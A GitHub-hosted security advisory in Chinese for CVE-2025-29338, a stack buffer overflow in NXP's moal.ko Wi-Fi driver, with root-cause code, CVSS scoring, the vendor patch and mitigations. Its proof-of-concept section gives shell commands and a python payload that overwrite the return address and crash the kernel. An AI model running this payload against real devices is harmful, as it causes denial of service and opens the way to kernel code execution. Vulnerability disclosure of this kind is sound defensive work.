masjadaan/CVE-2025-29338
GitHub: masjadaan/CVE-2025-29338
该仓库详细记录了NXP moal.ko Wi-Fi内核驱动中一个高危栈缓冲区溢出漏洞(CVE-2025-29338)的完整安全公告,包含根因分析、概念验证代码及厂商补丁。
Stars: 3 | Forks: 0
# CVE-2025-29338 — 安全公告
## NXP moal.ko Wi-Fi 内核驱动中的缓冲区溢出 (`woal_setup_module_param` / `parse_cfg_get_line`)
| 字段 | 值 |
|---|---|
| **CVE ID** | CVE-2025-29338 |
| **严重性** | 高 |
| **CVSS v3.1 评分** | 7.8 |
| **CVSS v3.1 向量** | `CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` |
| **漏洞类型** | 基于栈的缓冲区溢出 (CWE-121) |
| **攻击向量** | 本地 |
| **供应商** | NXP Semiconductors |
| **供应商补丁状态** | 已修补 |
| **发现者** | Mahmoud Jadaan — diconium auto GmbH |
## 概述
NXP **moal.ko** Wi-Fi 内核驱动(版本 5.1.7.10)在固件版本 `v17.92.1.p149.43` 至 `v17.92.1.p149.157` 中存在一个基于栈的缓冲区溢出漏洞。该漏洞位于 `mlinux/moal_init.c` 的 `parse_cfg_get_line` 函数中,由 `woal_setup_module_param` 调用。将配置文件行读入固定大小栈缓冲区的 while 循环缺少目标边界检查,允许任意长度的行溢出该缓冲区,破坏栈并触发内核崩溃。NXP PSIRT 确认了该漏洞,并且修复程序已经发布。
## 受影响的产品
| 字段 | 详情 |
|---|---|
| **供应商** | NXP Semiconductors |
| **组件** | moal.ko Wi-Fi 内核驱动 |
| **驱动版本** | 5.1.7.10 |
| **固件 — 首个受影响版本** | v17.92.1.p149.43 |
| **固件 — 最后受影响版本** | v17.92.1.p149.157 |
## 漏洞详情
### 根本原因
`woal_setup_module_param` 分配了一个大小为 `MAX_LINE_LEN` 字节的固定栈缓冲区,并在处理 `mod_para` 配置文件的每次迭代中将其传递给 `parse_cfg_get_line`:
```
// woal_setup_module_param — mlinux/moal_init.c
char line[MAX_LINE_LEN];
...
while (parse_cfg_get_line(data, size, line) != -1) {
// process line
}
```
在存在漏洞的 `parse_cfg_get_line` 版本中,while 循环条件仅检查源位置和行终止符——**没有检查已写入目标缓冲区的字节数**:
```
// parse_cfg_get_line — vulnerable version (mlinux/moal_init.c)
static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
{
t_u8 *src, *dest;
static t_s32 pos;
if (pos >= size) {
pos = 0;
return -1;
}
memset(line_pos, 0, MAX_LINE_LEN);
src = data + pos;
dest = line_pos;
while (pos < size && *src != '\x0A' && *src != '\0') {
if (*src != ' ' && *src != '\t')
*dest++ = *src++; // unchecked write — no dest bounds check
else
src++;
pos++;
}
pos++;
*dest = '\0';
return strlen(line_pos);
}
```
超过 `MAX_LINE_LEN` 字节的配置文件行会导致 `dest` 越过调用者栈缓冲区的末尾,覆盖相邻的栈内存,包括保存的栈帧指针和返回地址。
## 攻击向量
| 属性 | 值 |
|---|---|
| **类型** | 本地 |
| **所需权限** | `CAP_SYS_MODULE` (root 或等效权限) |
| **用户交互** | 无 |
| **攻击面** | `mod_para` 内核模块参数(配置文件路径)|
该驱动程序在系统启动时使用 `insmod` 加载,并通过 `mod_para` 参数指向一个配置文件。能够写入特制配置文件并重新加载内核模块的攻击者可以触发该溢出。
## 影响
| 影响 | 描述 |
|---|---|
| **拒绝服务** | 内核崩溃 — 已确认;会导致系统立即重启 |
| **内核内存破坏** | 栈溢出覆盖了保存的 `rbp` 和返回地址 |
| **潜在代码执行** | 返回地址受控 — 根据已有的缓解措施(如 stack canary、KASLR 等),可能实现任意内核态代码执行 |
## CVSS v3.1 分解
| 指标 | 值 | 理由 |
|---|---|---|
| 攻击向量 (AV) | 本地 (L) | 需要本地系统访问权限 |
| 攻击复杂度 (AC) | 低 (L) | 无竞态条件或复杂的前提条件 |
| 所需权限 (PR) | 高 (H) | 需要 `CAP_SYS_MODULE` / root 权限 |
| 用户交互 (UI) | 无 (N) | 完全由攻击者控制 |
| 影响范围 (S) | 不变 (U) | 影响范围保持在内核上下文内 |
| 机密性 (C) | 高 (H) | 内核内存可能被读取 |
| 完整性 (I) | 高 (H) | 已证实可覆盖返回地址 |
| 可用性 (A) | 高 (H) | 已确认导致内核崩溃 / 重启 |
**基础评分:7.8 (高)**
`CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H`
## 概念验证
### 步骤 1 — 卸载现有模块
```
#!/bin/sh
rmmod moal
rmmod mlan
```
### 步骤 2 — 创建恶意配置文件
栈缓冲区填充 `A`,接着是 8 个字节的 stack canary 插槽 (`B`)、8 个字节的保存的 `rbp` (`C`),以及 8 个字节用于覆盖返回地址 (`D`):
```
python3 -c 'print("A"*256 + "B"*8 + "C"*8 + "D"*8)' > payload.bin
```
### 步骤 3 — 使用特制配置加载模块
`mod_para` 路径必须是**相对于内核搜索固件的目录**(通常是 `/lib/firmware/`)。请据此构建路径:
```
#!/bin/sh
PAYLOAD_PATH=../..//payload.bin
insmod /lib/modules/nxp9098/wifi/mlan.ko
insmod /lib/modules/nxp9098/wifi/moal.ko \
mod_para=$PAYLOAD_PATH \
drvdbg=0x7
```
### 步骤 4 — 观察结果
在模块初始化期间会立即触发内核崩溃。内核日志确认返回地址已被覆盖为 `0x4444444444444444` (ASCII `DDDDDDDD`),证明可以完全控制指令指针:
```
[insmod] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
woal_setup_module_param+0xd4/0x3e4 [moal]
[insmod] 0x4444444444444444 <-- controlled return address
```
## 供应商补丁
NXP PSIRT 确认了该漏洞,并针对 `mlinux/moal_init.c` 提供了以下补丁。该修复在 `parse_cfg_get_line` 循环内部添加了边界检查,以在超过 `MAX_LINE_LEN` 之前跳出循环:
```
--- a/src/wlan_src/moal/linux/moal_init.c
+++ b/src/wlan_src/moal/linux/moal_init.c
@@ -723,6 +723,10 @@ static t_size parse_cfg_get_line(t_u8 *data, t_size size, t_u8 *line_pos)
else
src++;
pos++;
+ if ((dest - line_pos) >= (MAX_LINE_LEN-1)) {
+ PRINTM(MERROR, "input data size exceeds the dest buff limit\n");
+ break;
+ }
}
/* parse new line */
pos++;
```
## 缓解措施
更新至包含上述补丁的 v17.92.1.p149.157 之后的固件版本。作为额外的加固措施:
1. **限制模块加载** — 将 `CAP_SYS_MODULE` 限制在受信任的管理员范围内;通过 SELinux、AppArmor 或 `seccomp` 强制实施 `init_module` / `finit_module` 系统调用限制。
2. **保护配置文件路径** — 确保 `mod_para` 引用的路径及其指向的文件仅可由 root 写入。
## 参考
- **NXP mwifiex 驱动 (GPL):** https://github.com/nxp-imx/mwifiex
- **NXP 发行说明:** https://www.nxp.com/docs/en/release-note/RN00104.pdf
## 供应商状态
NXP PSIRT 确认了该漏洞。该修复已作为正式软件更新的一部分发布。
## 贡献者
**发现者:** Mahmoud Jadaan — diconium auto GmbH
*本公告作为公开参考发布,以满足 CVE 计划的最低 CVE 披露要求。*
标签:0day挖掘, CSV导出, Cutter, CVE-2025-29338, CVSS 7.8, CWE-121, Go语言工具, moal.ko, NXP, PSIRT, Web报告查看器, Wi-Fi驱动, XSS, 内核安全, 固件漏洞, 安全漏洞, 本地提权, 栈溢出, 漏洞情报, 缓冲区溢出, 逆向工具